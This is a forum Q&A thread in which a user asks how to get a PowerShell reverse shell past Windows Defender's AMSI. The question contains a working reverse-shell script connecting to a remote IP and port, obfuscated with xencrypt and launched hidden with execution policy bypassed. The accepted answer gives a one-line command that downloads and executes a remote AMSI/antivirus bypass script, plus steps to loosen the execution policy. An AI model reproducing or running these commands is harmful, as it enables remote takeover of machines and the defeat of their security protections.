Bypass AMSI Windows 10

Question

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?

In a file I store the payload

$client = New-Object System.Net.Sockets.TCPClient('192.168.1.54',9999);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close();

then I use xencrypt to obfuscate the code but when I run powershell -NoP -NonI -W Hidden -Exec Bypass .\revshell.ps1

I get

Questo script include contenuto dannoso ed è stato bloccato dal software antivirus.
In riga:18 car:1
+ IEX($piifnga)
+ ~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

QUESTION: is there a way to bypass this check?

This resource should help: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell — Overmind, May 12 '20 at 09:42

score 0 · Accepted Answer · answered Jun 19 '20 at 09:51

open a powershell
list execution policies with Get-ExecutionPolicy -List
if LocalMachine is Restricted and you are not admin...
...you can change the policy locally with Set-ExecutionPolicy -Scope Process Unrestricted this allow you to execute .ps script stored on the machine...
...anyway still you can't run malicious content. So bypass AMSI with

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/aloksaurabh/OffenPowerSh/master/Bypass/Invoke-AlokS-AvBypass.ps1'); Invoke-AlokS-AvBypass

Now whatever script you execute the ScriptContainedMaliciousContent message it is not longer shown

New-Object : The 'New-Object' command was found in the module 'Microsoft.PowerShell.Utility', but the module could not be loaded — Shankara Narayana, May 05 '21 at 16:32

Bypass AMSI Windows 10

1 Answers1